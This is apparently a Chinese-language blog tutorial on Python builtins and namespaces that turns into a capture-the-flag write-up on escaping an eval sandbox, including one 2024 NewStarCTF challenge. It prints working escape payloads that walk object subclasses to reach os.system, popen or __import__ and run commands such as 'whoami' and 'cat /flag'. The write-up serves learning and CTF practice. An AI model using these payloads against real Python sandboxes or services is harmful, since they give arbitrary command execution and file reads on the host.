Python的内建函数&内建模块

内建函数是Python自带的函数,可以直接使用,无需导入任何模块;在python交互模式下,使用命令dir('builtins')即可查看当前python版本的一些内建变量、内建函数

image-20241027135403294

内建模块是Python自带的库,它们提供了更复杂或更专门的功能,但在使用之前需要通过 import 语句引入

例如我们常用的

1
2
os:与操作系统交互,进行文件和目录操作
sys:提供与Python解释器交互的功能,如命令行参数、退出程序

Python命名空间

A namespace is a mapping from names to objects.Most namespaces are currently implemented as Python dictionaries.

Python 中的 命名空间(Namespace) 是一种用于将名称(变量名、函数名等)映射到对象(数据、函数、类等)的机制。它类似于一个字典,其中“名称”是键,实际的“对象”是值。这一机制可以避免命名冲突,确保不同作用域内相同名称不会相互干扰。

一个简单的例子说明命名空间存在的意义:计算机系统中,文件夹A里的子文件夹B和C可以有相同的文件名,且彼此不受影响,但同一文件夹中不能存在相同的文件名

内建命名空间

  • 作用域:整个 Python 解释器的全局命名空间
  • 内容:所有 Python 的内建函数、异常等
  • 访问方式:这些名称可以在任何地方直接访问,不需要导入。例如 print()len() 等函数属于内建命名空间
1
print(len("Hello"))

随 Python 解释器的启动而创建,随着解释器关闭而销毁

全局命名空间

  • 作用域:模块的全局命名空间
  • 内容:定义在模块顶层的变量、函数、类等都属于全局命名空间
  • 访问方式:模块内可以直接访问全局变量,多个模块之间的命名空间是独立的。如果要访问其他模块的全局变量,需通过 import 导入相应的模块
1
2
3
4
x = 10

def foo():
print(x)

当模块被导入或运行时,全局命名空间就被创建,并且通常在程序结束时销毁

局部命名空间

  • 作用域:函数或方法的局部命名空间
  • 内容:函数内部定义的变量、参数等属于局部命名空间
  • 访问方式:局部命名空间的变量只在函数内部有效,函数结束后局部命名空间会被销毁
1
2
3
def foo():
y = 5
print(y)

函数调用时创建,函数结束后销毁

image-20241027141218310

builtins、__builtins__与__builtin__

builtins

Python 3 的内建模块builtins 是 Python 3 中的一个标准模块,它包含所有 Python 内建的函数、异常和一些常量

image-20241027142947998

__builtins__

特殊全局变量__builtins__ 是 Python 解释器自动创建的全局变量,指向当前命名空间中的所有内建函数和异常。通常指向 builtins 模块本身

你会发现dir('__builtins__')dir('builtins') 的输出是相同的,这是因为'__builtins__''builtins' 都是字符串,调用 dir() 时,Python 并不会查看内建模块,而是直接查看字符串对象本身的属性

dir(__builtins__)的输出则包含了所有的内建函数、异常和常量等

image-20241027143856998

在没有提供对象的时候,将会提供当前环境所导入的所有模块,不管是哪个版本,可以看到__builtins__是做为默认初始模块出现的

这也就是为什么python解释器里能够直接使用某些函数的原因

__builtin__

Python 2 的内建模块

通过继承关系逃逸

以下关于类继承体系中的重要属性

1
2
3
4
__class__ 返回对象所属的类
__base__ 以元组返回一个类直接所继承的类
__mro__ 以元组返回继承关系链
__subclasses__() 以列表返回类的子类
1
2
3
4
''.__class__.__mro__
#输出: (<class 'str'>, <class 'object'>)

''是一个字符串对象,因此''.__class__返回的是字符串对象的类型,也就是<class 'str'>;从str类开始,再查找 object类,而众所周知的,object是所有类的基类
1
2
3
4
''. __class__. __base__
#输出: <class 'object'>

调用.__base__属性得到的是str类的直接基类,即<class 'object'>
1
2
''.__class__.__mro__[-1].__subclasses__()
获取object类的所有子类

image-20241027151447464

而我们需要做的就是去找哪些子类包含像os模块可命令执行的,或者进行file写文件的;常见payload这里就不提及了,更多的是和SSTI相关,当然本质上是不分家的

先用for将这些子类列一下

1
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)

image-20241027161421508

python3的利用方式

image-20241027161913225

1
2
3
4
>>> ''.__class__.__mro__[-1].__subclasses__()[144].__init__.__globals__['system']('whoami')
qu43ter\23800
或者
>>> object.__subclasses__()[144].__init__.__globals__['system']('whoami')

利用builtin_function_or_method__call__调用eval函数

1
2
>>> "".__class__.__mro__[-1].__subclasses__()[7].__call__(eval, '1+1')
2
1
[].pop.__class__.__call__(eval, '1+1')

当然实际中由于版本和环境的因素每个系统中的子类索引是不一样的

1
[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami')

__init__初始化将子类转换成实例,__globals__使得你能够访问定义函数时的全局变量

在Python2中

warnings.linecache.os

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
1
[i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"]

warnings.catch_warnings_module属性

1
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')

具体题目

2024NewStarCTF Week4 Web 臭皮踩踩背

1
2
3
4
5
6
7
8
你被豌豆关在一个监狱里,,,,,,
豌豆百密一疏,不小心遗漏了一些东西,,,
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,

涉及到eval函数全局命名空间,将内建函数和对象禁用,我们前面可以看到dir(__builtins__)的输出,其中__import__也在里面,意味着我们不能导入其它任何函数,内置函数也无法使用,除了自定义的 ev4l

我们选择通过继承关系创建对象进行沙箱逃逸,无非就是利用subclasses中的某些子类其包含os库的,因此我们将其遍历,py2中warnings.linecache.os这里不适用,选择py3中<class 'os._wrap_close'>

1
[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('cat /flag')

image-20241027185627979

这是当时我自己的解法,后面官方WP出来后,我觉得又有了新的理解,不过本质上都是从Python一切皆对象出发,通过__globals__属性去逃逸

由于题目给了f这个匿名函数,我们可以借助函数对象的__globals__属性中的__builtins__

没错,在eval这个局部命名空间中__builtins__但丝毫不影响全局命名空间

1
f.__globals__['__builtins__'].open('/flag').read()
1
f.__globals__['__builtins__'] .eval('open("/flag").read()', { "__builtins__": f.__globals__['__builtins__'] })
1
f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read()

真是条条大路通罗马